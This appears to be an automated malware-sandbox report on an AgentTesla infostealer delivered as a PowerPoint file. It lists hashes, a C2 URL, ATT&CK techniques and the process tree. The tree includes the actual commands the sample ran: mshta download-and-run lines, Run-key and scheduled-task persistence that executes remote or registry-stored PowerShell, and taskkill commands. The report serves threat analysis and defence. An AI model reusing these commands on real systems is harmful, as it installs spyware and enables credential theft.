agenttesla | 6fe9b24604c251a382a9f9148b26b08795cc09784f552bdc9d764f90390ac0d7

General

Target

1.ppt
Size

78KB
MD5

d942cc1f6472ee2ef8c9dc5543e009ab
SHA1

b322a2b14f015afa34e632e7f08149444eb3857e
SHA256

6fe9b24604c251a382a9f9148b26b08795cc09784f552bdc9d764f90390ac0d7
SHA512

164c3885d3f3eb05d5cf0b5053971d8f7f1ed891978df7b6231d3b8b29208eb657224eb34ed8534b61fd831bef193febb6e7bd0522189fa4127e8fdd363cc42c

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/1717/inc/b0201c21c4adb5.php

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	1364	480	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	1632	powershell.exe

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2164-83-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral1/memory/2164-84-0x0000000000437DBE-mapping.dmp	family_agenttesla
behavioral1/memory/2164-85-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 19 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
6	1364	mshta.exe
8	1364	mshta.exe
10	1364	mshta.exe
12	1364	mshta.exe
14	1364	mshta.exe
15	1364	mshta.exe
17	1364	mshta.exe
19	1364	mshta.exe
20	1364	mshta.exe
23	1364	mshta.exe
25	1364	mshta.exe
26	1364	mshta.exe
27	1364	mshta.exe
29	1364	mshta.exe
30	1364	mshta.exe
33	1612	powershell.exe
35	1612	powershell.exe
37	1612	powershell.exe
39	1612	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/17.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/17.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/17.html\""	mshta.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1612 set thread context of 2164 1612 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1112 schtasks.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1768 taskkill.exe
1228 taskkill.exe

description	pid	process	target process
PID 1612 set thread context of 2164	1612	powershell.exe	aspnet_compiler.exe

pid	process
1112	schtasks.exe

pid	process
1768	taskkill.exe
1228	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347A-5A91-11CF-8700-00AA0060263B}\ = "ShapeRange"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493484-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartBorder"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493464-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\ = "Comments"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493450-5A91-11CF-8700-00AA0060263B}\ = "Collection"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493461-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C3-5A91-11CF-8700-00AA0060263B}\ = "Table"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493455-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348B-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493452-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\ = "RGBColor"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CF-5A91-11CF-8700-00AA0060263B}\ = "PublishObjects"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

480 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

1612 powershell.exe
1612 powershell.exe
2164 aspnet_compiler.exe
2164 aspnet_compiler.exe

pid	process
480	POWERPNT.EXE

pid	process
1612	powershell.exe
1612	powershell.exe
2164	aspnet_compiler.exe
2164	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

powershell.exetaskkill.exetaskkill.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	1768	taskkill.exe
Token: SeDebugPrivilege	1228	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1612	powershell.exe
Token: SeSecurityPrivilege	1612	powershell.exe
Token: SeTakeOwnershipPrivilege	1612	powershell.exe
Token: SeLoadDriverPrivilege	1612	powershell.exe
Token: SeSystemProfilePrivilege	1612	powershell.exe
Token: SeSystemtimePrivilege	1612	powershell.exe
Token: SeProfSingleProcessPrivilege	1612	powershell.exe
Token: SeIncBasePriorityPrivilege	1612	powershell.exe
Token: SeCreatePagefilePrivilege	1612	powershell.exe
Token: SeBackupPrivilege	1612	powershell.exe
Token: SeRestorePrivilege	1612	powershell.exe
Token: SeShutdownPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeSystemEnvironmentPrivilege	1612	powershell.exe
Token: SeRemoteShutdownPrivilege	1612	powershell.exe
Token: SeUndockPrivilege	1612	powershell.exe
Token: SeManageVolumePrivilege	1612	powershell.exe
Token: 33	1612	powershell.exe
Token: 34	1612	powershell.exe
Token: 35	1612	powershell.exe
Token: SeIncreaseQuotaPrivilege	1612	powershell.exe
Token: SeSecurityPrivilege	1612	powershell.exe
Token: SeTakeOwnershipPrivilege	1612	powershell.exe
Token: SeLoadDriverPrivilege	1612	powershell.exe
Token: SeSystemProfilePrivilege	1612	powershell.exe
Token: SeSystemtimePrivilege	1612	powershell.exe
Token: SeProfSingleProcessPrivilege	1612	powershell.exe
Token: SeIncBasePriorityPrivilege	1612	powershell.exe
Token: SeCreatePagefilePrivilege	1612	powershell.exe
Token: SeBackupPrivilege	1612	powershell.exe
Token: SeRestorePrivilege	1612	powershell.exe
Token: SeShutdownPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeSystemEnvironmentPrivilege	1612	powershell.exe
Token: SeRemoteShutdownPrivilege	1612	powershell.exe
Token: SeUndockPrivilege	1612	powershell.exe
Token: SeManageVolumePrivilege	1612	powershell.exe
Token: 33	1612	powershell.exe
Token: 34	1612	powershell.exe
Token: 35	1612	powershell.exe
Token: SeDebugPrivilege	2164	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

2164 aspnet_compiler.exe

pid	process
2164	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 480 wrote to memory of 1908	480	POWERPNT.EXE	splwow64.exe
PID 480 wrote to memory of 1908	480	POWERPNT.EXE	splwow64.exe
PID 480 wrote to memory of 1908	480	POWERPNT.EXE	splwow64.exe
PID 480 wrote to memory of 1908	480	POWERPNT.EXE	splwow64.exe
PID 480 wrote to memory of 1364	480	POWERPNT.EXE	mshta.exe
PID 480 wrote to memory of 1364	480	POWERPNT.EXE	mshta.exe
PID 480 wrote to memory of 1364	480	POWERPNT.EXE	mshta.exe
PID 480 wrote to memory of 1364	480	POWERPNT.EXE	mshta.exe
PID 1364 wrote to memory of 1112	1364	mshta.exe	schtasks.exe
PID 1364 wrote to memory of 1112	1364	mshta.exe	schtasks.exe
PID 1364 wrote to memory of 1112	1364	mshta.exe	schtasks.exe
PID 1364 wrote to memory of 1112	1364	mshta.exe	schtasks.exe
PID 1364 wrote to memory of 1768	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1768	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1768	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1768	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1228	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1228	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1228	1364	mshta.exe	taskkill.exe
PID 1364 wrote to memory of 1228	1364	mshta.exe	taskkill.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe
PID 1612 wrote to memory of 2164	1612	powershell.exe	aspnet_compiler.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\1.ppt"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:480

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1908

C:\Windows\SysWOW64\mshta.exe
mshta http://www.j.mp/asdqwpodqjwndddjakdhs
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/17.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:1112

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1768

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2164

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
dc106f1aefcf19287adb76fa5df65383

SHA1
207542f186a5017d1ffeb6c91f95aa04b752d975

SHA256
0b25193364e2dbfc1c75f58349ae0ff84801ab7a2d74b9ded3ed2744071c0b6d

SHA512
01a16309881c5f55fa3e2422201ee37489c237f357dd5374e81f09cba6ee8bfb8654dc4c0db496630ea5ca56ad6aa28a881b2ccfe7fec36fcc853b79d4124c34

Download Submit
memory/480-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/480-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/480-61-0x0000000071581000-0x0000000071583000-memory.dmp

Filesize
8KB

Download
memory/480-60-0x0000000074081000-0x0000000074085000-memory.dmp

Filesize
16KB

Download
memory/1112-67-0x0000000000000000-mapping.dmp

Download
memory/1228-72-0x0000000000000000-mapping.dmp

Download
memory/1364-65-0x0000000000000000-mapping.dmp

Download
memory/1612-81-0x0000000002600000-0x0000000002602000-memory.dmp

Filesize
8KB

Download
memory/1612-82-0x000000001B540000-0x000000001B552000-memory.dmp

Filesize
72KB

Download
memory/1612-71-0x000000001AB40000-0x000000001AB41000-memory.dmp

Filesize
4KB

Download
memory/1612-70-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1612-73-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

Filesize
8KB

Download
memory/1612-74-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

Filesize
8KB

Download
memory/1612-75-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

Filesize
4KB

Download
memory/1612-80-0x0000000002500000-0x0000000002504000-memory.dmp

Filesize
16KB

Download
memory/1612-77-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

Filesize
4KB

Download
memory/1612-78-0x000000001B9E0000-0x000000001B9E1000-memory.dmp

Filesize
4KB

Download
memory/1612-76-0x0000000001D50000-0x0000000001D51000-memory.dmp

Filesize
4KB

Download
memory/1768-69-0x0000000000000000-mapping.dmp

Download
memory/1908-64-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp

Filesize
8KB

Download
memory/1908-63-0x0000000000000000-mapping.dmp

Download
memory/2164-83-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2164-84-0x0000000000437DBE-mapping.dmp

Download
memory/2164-85-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2164-87-0x00000000011A0000-0x00000000011A1000-memory.dmp

Filesize
4KB

Download
memory/2164-88-0x00000000011A1000-0x00000000011A2000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads